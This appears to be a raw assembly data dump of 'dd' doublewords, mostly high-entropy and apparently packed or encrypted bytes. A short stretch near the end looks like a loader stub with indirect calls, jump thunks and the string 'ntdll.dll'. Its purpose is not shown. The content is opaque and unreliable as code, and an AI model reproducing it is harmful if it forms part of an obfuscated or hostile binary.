		dd 958DEF1Ch, 9FD2FF14h, 0C5E869F4h, 7DF69EAFh,	0AE6348DBh
		dd 9AF19479h, 0F025DABFh, 39BD56C4h, 0B2E79B25h, 0F2A3EE1h
		dd 0A9B6FB3Eh, 2BE1441Ah, 6D77208h, 21D61D59h, 0F0CA7087h
		dd 0E073806Fh, 8C97BF88h, 0B9CF7257h, 2E73B99Eh, 60B58051h
		dd 8BAEC403h, 79DCB2D5h, 5E6D05A8h, 0B4F52C9Ch,	0C954FF32h
		dd 0FECF8448h, 0DAE976BBh, 0BEEBA184h, 2D27D081h, 5B10B4F5h
		dd 1C011C38h, 0AFC3E667h, 572C5F8Ch, 0D95A0FF4h, 0F56585F4h
		dd 0FC945330h, 2D47B061h, 3BF0B4F5h, 0B8CEF106h, 0EC1FCC9Dh
		dd 1CD1B6A9h, 2CB93EEFh, 0C97EB4F5h, 0F24D2548h, 132879B5h
		dd 9B2989F5h, 0F4CCFDFAh, 517D32B4h, 5B4B25C2h,	0B758D9F2h
		dd 0B4F49643h, 376C3DF2h, 80D61572h, 0C49AA3B7h, 41F72C61h
		dd 1CED481Eh, 4E0641ADh, 0B4BEED3h, 53283318h, 0C186A534h
		dd 0EC4F25A2h, 0DB3583BFh, 27A9F8DCh, 0C5008239h, 0EF124780h
		dd 8238B9A4h, 5D2E095Fh, 500B74B0h, 3BF39422h, 9DC9B54Bh
		dd 9D1E8C76h, 7243E67Ah, 0B59A85CFh, 0F5DA7D12h, 0DAFB885Dh
		dd 36B5D217h, 464F0520h, 111A3D53h, 0F0AA1CA5h,	93C0D9E2h
		dd 1B3C3560h, 4BEED308h, 7B301508h, 0EA4D2346h,	0C6CF5005h
		dd 0FE99F89h, 619FDB4Fh, 91E5F848h, 0DDACFB27h,	55EECF75h
		dd 56B8D4h, 0AA9F0000h,	82B5E2F0h, 0B3684DD0h, 4E22D586h
		dd 580D6D04h, 9849CED7h, 6D044E62h, 0B7F320D5h,	895EF0Ch
		dd 0C2709C03h, 5F814D29h, 49F90283h, 0FFE47F16h, 0A2518B53h
		dd 0E71C936Eh, 53203966h, 81762702h, 0B66D044Eh, 0B4C3CC01h
		dd 27992Bh, 0A9DC0000h,	0EDF677D2h, 0D9E2F0AAh,	4E629849h
		dd 17DC6D04h, 4930490Eh, 0FFE47F16h, 0EFA6C94Ah, 7B46B74h
		dd 1C9D80D4h, 7C164913h, 65BF60E1h, 0A36D045Fh,	0FFFCDCC6h
		dd 1BCC09FFh, 6D043CDCh, 0D8BDA0F4h, 0A4BC5F23h, 0C2CB4C81h
		dd 44E26D5h, 448E096Dh,	0D74A0C2Fh, 45E077AAh, 0FF32DFC4h
		dd 33E8CD68h, 4DE611B2h, 0C79C6D04h, 0F6692BB8h, 8C97BEE1h
		dd 0F5EFAB77h, 24D9BEA1h, 55E90AEFh, 0D52F521Dh, 0EE2AF390h
		dd 7F09B99Eh, 236h, 4E25D566h, 74A76D04h, 0F0BC3D20h, 4BFC29A9h
		dd 6B0B5F17h, 81A4B96Eh, 54A354D7h, 0DB66F53Dh,	690CF126h
		dd 0A94C312Ch, 0DF8C71ECh, 0C5C60CA3h, 0E6B0C9E6h, 0ACE1967Bh
		dd 0D051CC89h, 103D9504h, 0FC0B235Fh, 0E176A964h, 0C5A9D4Eh
		dd 20D56D04h, 0F1A66AEBh, 1BF1FEE6h, 5D428Eh, 0E8Bh, 0D4E94C25h
		dd 6479E4B1h, 0F70C1741h, 889D80D4h, 152A0D65h,	0BED262F4h
		dd 0C63869Bh, 0A6F11429h, 0ED83A6BBh, 0B966354Ah, 0EEDBEF08h
		dd 38514866h, 351A3D53h, 1D005588h, 12C9D09Ch, 0B7A0F311h
		dd 0F3205542h, 10852A42h, 8FBC716Bh, 7E2F3A5Ch,	66EE8379h
		dd 73B6EC56h, 5F23A5E5h, 3D6075AAh, 8023081Bh, 1E6A4FEAh
		dd 332E697Bh, 173C8E07h, 0BFF46254h, 0A3ADE192h, 0FBA864F5h
		dd 0B095B0C8h, 639D5AFBh, 61336CE9h, 0A06419FEh, 8DABB6EBh
		dd 0FD8E0159h, 0DF1BB18h, 0AABF0000h, 3E577A8Fh, 0A9EB0E23h
		dd 0D67EA1B6h, 7F13364Bh, 14A6C7DCh, 3449EC84h,	0CADF7A11h
		dd 5C71ECA7h, 0F3082339h, 31C67724h, 666EEDBh, 3D53F60Fh
		dd 81B1ED1Ah, 0A11D0C22h, 0F54126A7h, 102B40A4h, 3E4A762Bh
		dd 8D8645B1h, 0DF1C497Eh, 0F475E8ACh, 0B584F53h, 5C71266Bh
		dd 0F3082339h, 33607227h, 218EF82h, 426F2465h, 0AAEC450Fh
		dd 8EED07C0h, 8FC4A646h, 0ABC0F5AAh, 5304417Eh,	6CEA46A4h
		dd 0C235D68Bh, 0E6CEA46h, 43F8DD78h, 2649CA7Fh,	690CF16Ch
		dd 11344A13h, 5D42772Ch, 1D4A8811h, 0F174226Ch,	5D681D6Ah
		dd 880E8665h, 3C63C0A5h, 7400000Dh, 2253A1Dh, 98BBD053h
		dd 2B4E63FEh, 0C0E3F86Bh, 57788DA8h, 0FC5F33C5h, 8CAFC4E7h
		dd 20035477h, 0B792E80Bh, 7526D3A2h, 66EED982h,	499DB6ADh
		dd 0BFE27D16h, 0F3A88DA8h, 1E394F72h, 5C508C39h, 578DF35Fh
		dd 4B4E1A9Bh, 54E9B990h, 3E7370F1h, 25B66011h, 0D5816B0Bh
		dd 0E004AE69h, 0DCF12672h, 36C172AFh, 166F486h,	0CCE1204Ch
		dd 0A6A8606Ch, 0D0530225h, 401B70A3h, 0CD87AABFh, 0A2F22552h
		dd 0A425DABFh, 0EFAA868Fh, 85CFA0F5h, 0CB80659Ah, 0B2B86996h
		dd 0E56B0B63h, 0A9D3FC39h, 0AFE43620h, 0D152A9CAh, 0CF8666F4h
		dd 0FC36F54h, 1F35FE2Dh, 7CE7B0D3h, 5D2AFF97h, 0B589D7Ch
		dd 97E776B2h, 477CC92Eh, 6DEE7124h, 0FFF79880h,	9ED545h
		dd 5C980000h, 58FD9A69h, 0FF2BE0C5h, 0F901280h,	42164906h
		dd 7D69B2F0h, 598E3D86h, 1B3EBF74h, 5F02E77Ah, 0C2FE2B36h
		dd 0FACE603Fh, 35578ABh, 17BA9F20h, 7AB7E47Fh, 42F2EC9h
		dd 0D354096Dh, 170A4BEEh, 6F633602h, 26A99142h,	570C6B0Bh
		dd 14A77A4Ch, 48A58A88h, 0C0Fh,	586DC8A1h, 0E8FD6035h
		dd 7B9093C5h, 0C213C58h, 0A1B691E9h, 0A5EEE80h,	60F71A2Fh
		dd 0CA8DB0C5h, 491F4257h, 5D0AD9EEh, 0EED94BACh, 0D4EDE466h
		dd 0A1F0253h, 5F2Dh, 82337000h,	6D044E75h, 7B8405BAh, 3A1F0253h
		dd 0FA27ABEEh, 0B6C3949h, 0CB67A36Bh, 0C3F95226h, 15CA8E0Fh
		dd 14DAC20Ah, 0FC593E88h, 0BA7h, 0C0D57009h, 5065F89Dh
		dd 0E3F86B2Dh, 748994C0h, 91E3951h, 0B2C656E8h,	85F8297h
		dd 0A2F5182Dh, 0F187AABFh, 0C5724156h, 0EED8E314h, 3C554C66h
		dd 351A3D53h, 0F5A64C88h, 731691B9h, 9EB9CFF2h,	48176CB9h
		dd 0C173E71h, 0F57A9E8Bh, 86F34C0Eh, 0DA000002h, 990BC87h
		dd 3EB9CC9h, 3A6B0B6Ah,	181C5885h, 7A66C7B8h, 0EAF65E6h
		dd 9883F48Eh, 0F11EB4E5h, 2C4477B4h, 0CE6F2409h, 776BF529h
		dd 37D8590Eh, 7572F6F7h, 0D1740BAEh, 1D0237ECh,	3D13C8D1h
		dd 0AF38D4C8h, 49D225D6h, 0A85D796Dh, 0D4113E73h, 4A11E697h
		dd 7126796Dh, 9B1C074Eh, 7F37DEFAh, 0DF79AC77h,	5CFFC344h
		dd 8B402538h, 0B9EC2956h, 0E79C819Ch, 7ED7B146h, 28D98677h
		dd 777ED7CFh, 527EB368h, 1575BDDEh, 416EEF7Fh, 0B0DD780Eh
		dd 0A8958574h, 27A80BE6h, 0BE99EF12h, 9E137DB3h, 9BF8DD7Bh
		dd 0AABh, 0B4C96C05h, 4459C491h, 0D7EC7721h, 687DE0B4h
		dd 0F50A2D45h, 0DEB242D4h, 2C43667Bh, 86D1F409h, 0D63869Bh
		dd 9946152Ah, 0EED80FE8h, 18312866h, 3A1F0253h,	0FA27ABEEh
		dd 0E79EB0C7h, 9C26E30h, 81361B50h, 0D22D300h, 0D96B10CAh
		dd 9277D2A6h, 0E3985CDDh, 49EC83B6h, 0C92EDF1Ch, 6E66EF4Dh
		dd 2338B9h, 66A3D06Bh, 0EF4E42B5h, 5EF98E66h, 4B00C479h
		dd 99E5CAh, 7EF4A5D2h, 0B964F64Bh, 0CFA4D704h, 0A051D47Eh
		dd 6CEA4957h, 11F62BE0h, 0EF12275Ch, 2BD8BD98h,	80D65FF8h
		dd 0D60BC0A5h, 0F95C3255h, 1B532EEh, 0CC290E8Eh, 9FBh
		dd 6479DCB5h, 0F4091441h, 879C87D1h, 182D3064h,	0A5BA9DF5h
		dd 0E62F284h, 9CF3162Bh, 0D681A4B9h, 7D13364Bh,	49F6C5DAh
		dd 0EED75F98h, 0C8E1D866h, 4DC23DEEh, 4A1E6D04h, 2C670AEFh
		dd 6C414C31h, 7045BE1Fh, 15846013h, 93DF90BDh, 0C26B0B4Bh
		dd 0EBADE00Dh, 2F68C98Ah, 651AFF34h, 0B1EE1B30h, 0F548F700h
		dd 0D126D766h, 6666F548h, 0C38EDB1h, 80091C76h,	0B78304BBh
		dd 0B047F8E2h, 8766F45Ch, 3D709DD2h, 2ADB081Bh,	66F45CCDh
		dd 0FF2CAD62h, 5FB1D4Eh, 78A55A65h, 0F70C2F45h,	909BBED4h
		dd 8E05E36Eh, 5064C1A6h, 60000009h, 0F6192E09h,	8CAFC45Fh
		dd 1F4257CAh, 0B4D7EC77h, 436479DCh, 0F04B1FB1h, 88A3B8DBh
		dd 1C075073h, 0AB8EE407h, 691AC796h, 66EED58Eh,	0D599B2A9h
		dd 6D044E26h, 4C79DCB2h, 320B9C10h, 3ED7681h, 0E00CC16Dh
		dd 54D5FA37h, 0AC26733Fh, 49B8437Fh, 0B917AC59h, 0EE1A407Ah
		dd 0BD3E5BF0h, 75205390h, 0D0C869EAh, 3E6B0A8Ah, 1681F702h
		dd 0A021D8A3h, 0C7FA27DCh, 597C918Ch, 0E13E233Eh, 8CFh
		dd 40164948h, 19864E5h,	6FF3A4D1h, 0C66B0B5Fh, 5EA4D23h
		dd 0DADA3359h, 5B90608Ah, 0F87A7D2Eh, 0B566F4h,	36C5E6CBh
		dd 0E666F4F8h, 0DD3BC2A1h, 7D46009Fh, 802B9541h, 0D8892083h
		dd 66F4D81Fh, 0AD2E6318h, 18591h, 49215400h, 53646DEEh
		dd 0BDF01D00h, 1ADD8E99h, 156D044Eh, 0C5AA2B60h, 2BF34D22h
		dd 506F0202h, 0CE7B6095h, 0A417E091h, 6B206D03h, 0A8B1C7EAh
		dd 0DD9277D2h, 0E316C3A8h, 92CADB0h, 9BBED34Eh,	348065F8h
		dd 50EB8064h, 75B1EE1Bh, 0C5D63D37h, 0E81743A7h, 66D17133h
		dd 0FE31D253h, 396D0389h, 0D1A69F84h, 86235B2h,	9142FFBCh
		dd 6D037166h, 21F01CD1h, 99AEE344h, 797E2F6Ch, 0BE6D03A3h
		dd 0B0E5781Bh, 0D84B0C2Fh, 0A321D2F3h, 0CCA16D03h, 0ACE926BFh
		dd 3A2FCFBh, 0DD7E336Dh, 6D03A31Ah, 2A346015h, 0BAF1059Ah
		dd 246F9213h, 40582439h, 0F5286592h, 0DC8DBA9Dh, 6D03DE1Bh
		dd 3DDE5F14h, 6D03DDC2h, 40E3C87Dh, 0D8FB102Bh,	16C3A883h
		dd 0DDCF28D9h, 0B3686D03h, 7459C490h, 451B3EBFh, 0DABFA2F4h
		dd 680BF025h, 0AC4F342Fh, 249277EAh, 0A821B0CFh, 1922386Bh
		dd 4E03E843h, 0FE7F3419h, 0C69D2A39h, 542B4E63h, 2C5F0CF1h
		dd 5C11F669h, 5A8A0FDBh, 883D2205h, 9752653h, 0BB6B0B0Ch
		dd 0D354CF88h, 22455A0Fh, 0B905EA4Dh, 15C6F3DFh, 66F50AEEh
		dd 5201A4E0h, 28E39E8Ch, 0EACF5205h, 44F0B435h,	3D330F5Ch
		dd 0B196CB9Ah, 603F7BB8h, 0C9553982h, 75EB9740h, 5A94DA49h
		dd 787714D9h, 103348E3h, 0C7A1F27Bh, 0FB99A890h, 2F649946h
		dd 379BFE4Ah, 0D30D590Ah, 934864FBh, 21045B7Eh,	0B3AEE90Ch
		dd 0EFAA959Eh, 297AB6E3h, 2324F8EEh, 833461E2h,	6B0A5A1Fh
		dd 8AA4BAEDh, 18E05751h, 1C0136C8h, 7522E667h, 0F46933C4h
		dd 9E4FFC66h, 66F46959h, 0BFF429DEh, 31E37DAh, 69CCA3D6h
		dd 0EA6FD884h, 1DC1FFF6h, 255267E8h, 0C2AA7BE9h, 0AE2F6559h
		dd 0F4F0AAA5h, 5C89BEA1h, 11F65129h, 0D5F6DB5Ch, 6D044E26h
		dd 4BD2B1F6h, 4C0FF5CDh, 1D9Eh,	2538500h, 0DE193A1Fh, 0A46D044Dh
		dd 6233B0CFh, 0EE49EAFFh, 0D86D046Ah, 0FFFFC4FBh, 3D5362FFh
		dd 0E491111Ah, 0FE7FDAB1h, 0E2F0AAF5h, 0DCE179B5h, 0FFDD352Ch
		dd 5861757Eh, 0FE99F89h, 1CEC4Fh, 0AAD30000h, 49D9E2F0h
		dd 44E5F98h, 1A23D86Dh,	2533049h, 2BB4161Fh, 4B99h, 16490000h
		dd 0BC3BEC7Fh, 736D044Dh, 3C0889BEh, 2CCB7C5Eh,	36D044Eh
		dd 0B9EC194Eh, 0E99E839Eh, 98495F68h, 6D044E5Fh, 49111ADFh
		dd 0D91ECF0Ch, 5E6D044Dh, 51CC86A9h, 1649C7D0h,	8CABEE40h
		dd 117DF382h, 1D385BDCh, 2BB4F902h, 9C5B0C49h, 936D044Dh
		dd 183A5DDEh, 0F2A5D805h, 0E809EE6Fh, 6D044E0Fh, 0AF948FC9h
		dd 0AFE94A0Ch, 8F9A7FB4h, 930CADBAh, 7022A1BEh
		dd 3137D8EDh, 96D045Eh,	38EDD24Dh, 0F30C2603h, 498DFFFFh
		dd 63E47F16h, 0F50A1540h, 35627029h, 4DCE5102h,	6E2F6F20h
		dd 619D6B0Bh, 2E117304h, 793DBEAAh, 0C6497C4h, 16C3A829h
		dd 0D3414CDAh, 8D0ED9F6h, 0F4FB0FECh, 918CC966h, 0D14C09ACh
		dd 261A6ECh, 0F08FD4B3h, 9EEF29h, 267C46h, 33F0000h, 0AFBE9A4Fh
		dd 0D3DC5D86h, 0F37C1649h, 0A388BDA0h, 0D906DEEh, 0D3000000h
		dd 11078897h, 1639D1ABh, 5C65E641h, 0B6E3EFAAh,	22663D79h
		dd 0BD4ADF37h, 52F9B3Ch, 3D6B0Bh, 0F502A84Fh, 0B7DA8F66h
		dd 400485A0h, 315E293h,	651A66F5h, 0EDA84B30h, 76BC5D72h
		dd 0D266F503h, 0AE0EA781h, 0F0237097h, 0AF94B7CDh, 8DB0C5FAh
		dd 37257CAh, 0A4774B9h,	0F4D59E59h, 3263A66h, 0F0A5691Eh
		dd 0EDDAA6Fh, 0B8ABEC45h, 354B6E83h, 1048561Bh,	40F5DA45h
		dd 3A60AC14h, 0FB913405h, 74C8F60h, 32156B78h, 0E017C805h
		dd 5766F503h, 626B21A2h, 0F0C40D49h, 5D36BF59h,	0BA787F30h
		dd 0ABF6D03h, 557C9C89h, 0F3F14C8Fh, 0B4000000h, 0F8C82D78h
		dd 2CCEF147h, 0DC0E3AE6h, 0E0E96AB1h, 0DBE4EEAAh, 4E629849h
		dd 17DC6D04h, 0B130490Eh, 3D5329D8h, 0C49111Ah,	44D9C5Bh
		dd 0BBDE936Dh, 1F048598h, 0E2F0AA96h, 49EC82B5h, 0CA8CAF64h
		dd 3CBD7257h, 89586133h, 4F0FE99Fh, 6CECh, 0C49D300h, 0BFA4BFD9h
		dd 4D8E690Ah, 0F4A96D04h, 0F1F3A773h, 0D084C5A7h, 90180C89h
		dd 8CC1765Bh, 5F984983h, 0D86D044Eh, 0B2BAF623h, 0D1E46103h
		dd 49DEE768h, 7F164930h, 0C94AFFE4h, 6B74EFA6h,	86150D49h
		dd 430FC1A8h, 0B2926516h, 0E89D6D03h, 0C5F8A567h, 0F6AB9093h
		dd 16496C75h, 0C0A3F57Eh, 352D0A8Bh, 70000000h,	8203263Dh
		dd 0E2F0AA79h, 0D00C49D9h, 94FCA971h, 50F1721Ch, 6D03BFA7h
		dd 0BEA1F427h, 0E6A324D9h, 30491821h, 161F0253h, 0E6411649h
		dd 6E294C01h, 27B072F3h, 0FFFEF399h, 3D5300FFh,	0FFB0ED1Ah
		dd 6D044DF8h, 2D678A3Fh, 1FCCB132h, 0BC51E3h, 0FE7F8C8Dh
		dd 75A285DBh, 65161142h, 6D036B92h, 0CEB3E89Dh,	56839819h
		dd 6EEF7223h, 0AEDBF7A2h, 0C647DA7Bh, 73A2E899h, 0E0956B0Ah
		dd 7B1B4EFBh, 0A6003E8h, 0BDD7FA2Fh, 8708BDA2h,	0F45415E6h
		dd 0A5C20766h, 0FFF7BC5Ch, 62B145h, 0AA980000h,	79B6E3EFh
		dd 44E2FC8h, 995C086Dh,	0BE57C474h, 4A77F82Dh, 0B510599h
		dd 0FB9D406Bh, 6D8A3B68h, 0C266F51Dh, 46F3D80Dh, 1C9F5809h
		dd 0E39866F5h, 1D3AC162h, 35E266F5h, 1CB047F8h,	6D1E66F5h
		dd 66F51C8Ah, 772CF0A5h, 8B5231F6h, 1D5A9D4Eh, 20D566F5h
		dd 0C466B29Fh, 0CF074600h, 0EE000000h, 0ED1A3D53h, 9E35B1h
		dd 14955D77h, 51F48C2Fh, 0CB8CBF6Ch, 3DBE7358h,	0FCE1441Ah
		dd 13280359h, 3F4CD72h,	0CA6D036Dh, 6BFC92B5h, 9A4F3417h
		dd 65348065h, 0D003406Dh, 2B79C87h, 165AE081h, 41746B0Bh
		dd 71260B16h, 361B064Eh, 873C0081h, 0D5084572h,	0FBFC9D80h
		dd 3466F4D5h, 6732FE7Fh, 0CE013E6Bh, 0DC799C87h, 26A75C41h
		dd 6868B85h, 0E00DC265h, 0F40959A4h, 22A33161h,	8BAEC2F5h
		dd 1C3F5376h, 52BE511h,	0DB381D8Eh, 24Bh, 14290C65h, 0A4B9A4F1h
		dd 374CD781h, 0C8DD4014h, 556ACDA5h, 7E12A234h,	0CCA3C6DBh
		dd 66315469h, 0ADC3E6FBh, 0F9A6758Ah, 0EECEAF48h, 78918866h
		dd 71C3F53h, 96AB8EE4h,	21D3669h, 0EFAA7881h, 9905B6E3h
		dd 0D46B0B67h, 0E2193A1Fh, 3A66F527h, 898F96F5h, 0D14600CFh
		dd 2414E394h, 661B66F5h, 0CAC9E5h, 53B00000h, 92351A3Dh
		dd 55765BFEh, 6D0449EAh, 88B590E6h, 4A5D9A4Bh, 1DD26D04h
		dd 0E64879Ch, 9FFA462Bh, 0E00C2F45h, 35F14266h,	95C2F7C2h
		dd 0B3E56E4h, 1145786Bh, 0F374290Eh, 99657A2Fh,	0F4A5D200h
		dd 6506E1C7h, 518EBB70h, 0E5A257A0h, 253DE06Ch,	33681D02h
		dd 3E5285B2h, 0A1857223h, 7AA6CE5h, 3AEFD44Fh, 98BBD005h
		dd 0AC5A65C0h, 5C8E051Ch, 16D1A77h, 2E430000h, 82D3F60Bh
		dd 2D678A9Fh, 5AFA1D32h, 0FB8FB2C7h, 982A4B60h,	0C0D57008h
		dd 4E63C69Dh, 0E0F5682Bh, 6F84A7BDh, 0B542F3A0h, 7A66EECEh
		dd 3F536A83h, 4D847324h, 0F6AB6D04h, 0F389ACC1h, 38F91D61h
		dd 386DB2AFh, 8B9F623h,	6D0435EFh, 9129348h, 351A3D53h
		dd 1B3E5588h, 46E1779Ah, 0A7346531h, 2A27FD9Eh,	88B5EA89h
		dd 0E27D184Bh, 0E8B2C061h, 38E56B0Ah, 0F4E87087h, 691AC766h
		dd 66F4E78Eh, 8ABFF4A9h, 96ED205Dh, 568BAEC5h, 183BBC71h
		dd 7EBAE742h, 7FA99172h, 1A054FBEh, 0CA4B8035h,	9A4B88B5h
		dd 66F5395Dh, 799C1DD2h, 176348E3h, 2F326282h, 0B1CCDFAh
		dd 0DB650217h, 8D72EDA8h, 0F09357D8h, 1FD4B9A4h, 0C1CB70F3h
		dd 0F44E0C0h, 17A7C04h,	0BA17FC8Eh, 8Fh, 0D8ED4821h, 687DE0B5h
		dd 0FB101345h, 8CA1BCD8h, 21361169h, 8ADE6E00h,	0E0779AAFh
		dd 4A0D3045h, 0C99FC2D7h, 0DD8A596Eh, 0EECDCB2Ch, 546D6466h
		dd 9EF5EFAAh, 0EC21D6BBh, 2C1D0EBFh, 0A55A6B11h, 0E4471DC0h
		dd 73D6ACCFh, 0CE316D8Eh, 8DE274E9h, 0C09BF1FEh, 374B7EABh
		dd 1A709314h, 84D6123Fh, 27AE8BE0h, 2D120D48h, 0DDC24378h
		dd 0DA071A3Ah, 0F374EFA7h, 2340150Eh, 566BCEA4h, 0CDFA5D33h
		dd 8368FB9Ah, 0B684DCEh, 3, 53CED772h, 93361B3Eh, 0D2755AFDh
		dd 16B99E81h, 5E01E641h, 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h
		dd 7417FC67h, 0F7593E21h, 81E68956h, 4C6h, 4EE8300h, 2474FF56h
		dd 48F5E04h, 89505C24h,	405E0h,	42D0000h, 87000000h, 895C2404h
		dd 0CA682434h, 89000051h, 6851243Ch, 3A987FB6h,	3E9C159h
		dd 0AB93BB53h, 0D929013Dh, 59CE895Bh, 243C8B54h, 4C481h
		dd 0B9510000h, 8, 3189F901h, 83240C8Bh,	34FF04C4h, 0C4815F24h
		dd 4, 5E2434FFh, 4C481h, 0BFE90000h, 30FFF9FCh,	82B8D60Ch
		dd 3061581h, 85C650C5h,	60F24FDh, 17256847h, 0B5FFCF38h
		dd 60F1CE5h, 3AB8858Dh,	0D0FF060Fh, 858DD88Bh, 60F0579h
		dd 1046850h, 0D3FF0000h, 24FD85C6h, 6853060Fh, 8307F8BFh
		dd 1CE5B5FFh, 858D060Fh, 60F3AB8h, 8589D0FFh, 6156234h
		dd 306DBD83h, 0F00060Fh, 0B84h,	0BD9D8B00h, 0E9060F2Bh
		dd 5, 0BBh, 1006800h, 0B58D0000h, 6156238h, 95FF5356h
		dd 60F1129h, 6238B58Dh,	0F0030615h, 1E9h, 3E804E00h, 9840F5Ch
		dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h,	15623885h
		dd 95FF5006h, 6156234h,	3CE0FF58h, 0DB559B6Dh, 4A2ECBB6h
		dd 6F32E0A0h, 7360F0B8h, 0F72A2355h, 3E59A545h,	9F5A4580h
		dd 0D503E7ACh, 297B2A63h, 25578DB1h, 0FF767C31h, 9F109E77h
		dd 0AC441249h, 55357B1Ah, 0E97DC3E8h, 47h, 1C5F65B4h, 0E61D8C93h
		dd 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh
		dd 0FEB9h, 9 dup(0)
		dd 0E9000000h, 684h, 15844368h,	0FB70E906h, 0DA68FFF9h
		dd 0E9061584h, 0FFF9FB66h, 15858068h, 0FB5CE906h, 4268FFF9h
		dd 0E9061586h, 0FFF9FB52h, 15870868h, 0FB48E906h, 3B68FFF9h
		dd 0E9061588h, 0FFF9FB3Eh, 889DB8D1h, 182D3065h, 0ABC0A3F5h
		dd 3C51CC88h, 0D1E64119h, 0FA8E1EB0h, 50274A5Fh, 9ABDE0F5h
		dd 394F7287h, 8D3A091Eh, 0EECB1BDCh, 41D1466h, 1399h, 3D530000h
		dd 0FC92351Ah, 58A34459h, 806D044Eh, 2E374CD7h,	0B6E3EFAAh
		dd 0B689505h, 462BE06Bh, 0F526D625h, 62014666h,	6AB71F5Bh
		dd 0C381367h, 0AC2D2AA7h, 7559BFh, 1E51246h, 87F90000h
		dd 0C2108921h, 6A0AE495h, 90456B0Bh, 0C4B139DAh, 487BA31Bh
		dd 0C692130Eh, 21D2FFD3h, 0A8E9E579h, 449910BCh, 0DC081B3Dh
		dd 1449B8CBh, 1CB6E32Fh, 99A3EEFh, 2CE1A6E8h, 9689CCFFh
		dd 0DFB5E815h, 2E44677Ch, 0D317000Bh, 2A0F4C27h, 4D0CDh
		dd 68C39600h, 0FA653053h, 8D90C2E5h, 1E015578h,	0B792E609h
		dd 5DEF81A2h, 0EA0D2205h, 7A9DB295h, 0E3146D9h,	0F9C8DD78h
		dd 0CA5C9B4Ch, 0DCD366EEh, 233D53C3h, 0D5D81B39h, 5D427740h
		dd 1D4A8811h, 0AE56A6Ch, 0FB10C56Bh, 0FF4592CEh, 0EAF96CCCh
		dd 742E7A69h, 0CF80AD25h, 64FB741Fh, 4AEBA156h,	0F599244Ah
		dd 532A0F9h, 6DFD4654h,	977C31D2h, 57844E4Bh, 83F032A6h
		dd 0A7D489CCh, 0E3B1E74h, 0C8C4A9D2h, 0C24385C1h, 51F48AADh
		dd 9BB4B746h, 9664B16h,	439h, 0DCF1542Dh, 6C819CB9h, 0FF140F49h
		dd 90A5B8DCh, 1D32156Dh, 86DA6AFCh, 146B8EA3h, 5EF91C31h
		dd 0F58BAEC3h, 0C16E3D52h, 0EEC9E710h, 40595066h, 9C5B0C49h
		dd 936D044Dh, 9826B2DEh, 7C92B8EDh, 0A782D8FBh,	0AF2376C2h
		dd 4235D182h, 4B006B0Bh, 0A32F6A36h, 4BFC3976h,	66F541ACh
		dd 0E9ABCE83h, 0A954F576h, 8E6502C0h, 336FACD9h, 2C44D972h
		dd 436F2409h, 9819046Bh, 273C1F75h, 97D36E04h, 0E89CADF5h
		dd 2ACD6EBCh, 56CEA30h,	0EA361B50h, 45F623AFh, 6AF13605h
		dd 0B909B50h, 8B880E97h, 39349A6h, 0BED30000h, 3263869Bh
		dd 5DF71A2Fh, 0CA8AADC2h, 4B1F4257h, 28BADBF0h,	5065C098h
		dd 0DEF3562Dh, 708598BBh, 0FF14374Dh, 25D28330h, 0A66EEC9h
		dd 3D53FA13h, 0B0E9351Ah, 0ADC2F522h, 2BDC098Ah, 6B0B4273h
		dd 0C652E61h, 0BEA3D84Bh, 0FC48809h, 1AC1DFAh, 87840000h
		dd 0D3CF0B18h, 0CDD55A55h, 19045073h, 32FE7F34h, 8D3E6B67h
		dd 6B0B0561h, 87BAE79Ch, 21D758F3h, 2978BB80h, 2DA5F492h
		dd 0AB4B4F00h, 752A77D7h, 7D554490h, 95621350h,	9A77C7B3h
		dd 863764E5h, 75D9A252h, 8AC7F4A9h, 0F7243F57h,	0D565B146h
		dd 50D18679h, 0DFF4572Dh, 50EB7FB2h, 73D6ACCFh,	357BE968h
		dd 1774597Dh, 2D1h, 4459FC95h, 0D4E97421h, 677CE7B1h, 0F80D1044h
		dd 859ABDD5h, 2E42D264h, 0BCD3F60Bh, 36618499h,	9DF3162Bh
		dd 29D6A5BAh, 0EEC87F78h, 0A8C1B866h, 351A3D53h, 0F522B0E9h
		dd 0B5B9244h, 1328DD6Bh, 73268824h, 3C41B667h, 41F666F5h
		dd 0C02EDF0Ch, 8E64FC57h, 0A021045Bh, 447127DCh, 0F6DB4611h
		dd 0B91FC041h, 97E3E56Fh, 704EA95Ah, 34E9DE22h,	20B2E7B3h
		dd 3D79B6F3h, 88C275DBh, 1ADD7E22h, 15DE22B6h, 0C4553460h
		dd 54DBB238h, 0F06832D3h, 1ACFDC29h, 3E558835h,	0CBCE9A1Bh
		dd 0AF29DA07h, 6E227DEh, 9BF12451h, 0A55693C0h,	0DE081F52h
		dd 92A728DDh, 550196Fh,	41DAE51Ah, 0C100E7BCh, 20B7FDCh
		dd 65B0000h, 0AAEB0E23h, 0D57FA2B7h, 4212354Ah,	0D3A7CADFh
		dd 0B0426378h, 0D8ED4820h, 667BDEB5h, 0F80D1043h, 879CBFD5h
		dd 9D5A0BB8h, 9266EEC6h, 1649829Bh, 4265E641h, 9760112Ch
		dd 0A06D044Dh, 24D1B6EBh, 4DC136E7h, 0C9766D04h, 44DDF18h
		dd 6EA3586Dh, 5A7821EDh, 7A8A7C2Dh, 295C6B0Bh, 590EF36Eh
		dd 0F3462A2Dh, 880967FBh, 0EE4921C4h, 3F4950C2h, 1A4F59C1h
		dd 1649FC05h, 3B4E17Ch,	6D044DF4h, 3905863Bh, 94457260h
		dd 6B11CD6Bh, 0EB7621C4h, 0CAEA0DBEh, 904566EEh, 0B5F12E5Bh
		dd 47D3C83Ah, 0FFB0DDD4h, 66EEDEF8h, 0E6098A3Fh, 7DA0B590h
		dd 233E56E7h, 6F54893Eh, 27647623h, 0EEDF8176h,	6001B666h
		dd 66EEDE97h, 45091441h, 8FDC0699h, 40758EF7h, 65A1DE0Bh
		dd 64402D0Dh, 0FE6134FEh, 0AE2F6419h, 0FC77E80Dh, 0D283B664h
		dd 8671224Fh, 0B16D0377h, 2B77BFCh, 69CCA2D5h, 5B3154h
		dd 12E596D3h, 1D6D0378h, 1146D97Ah, 2BED22E5h, 8D0EC286h
		dd 0A73D5CA8h, 0D98E73EEh, 70C677A4h, 0C76B0B1Fh, 0B29E0712h
		dd 0FFE48814h, 0D8A2h, 60FB8E00h, 0F26D284Bh, 8598BADDh
		dd 16094D70h, 0AF8ADE01h, 55E7799Ah, 0E2051A3Dh, 7295AA8Dh
		dd 6293E21h, 0F1C0D570h, 0C6649344h, 0D4CB66EEh, 0E3EFAABBh
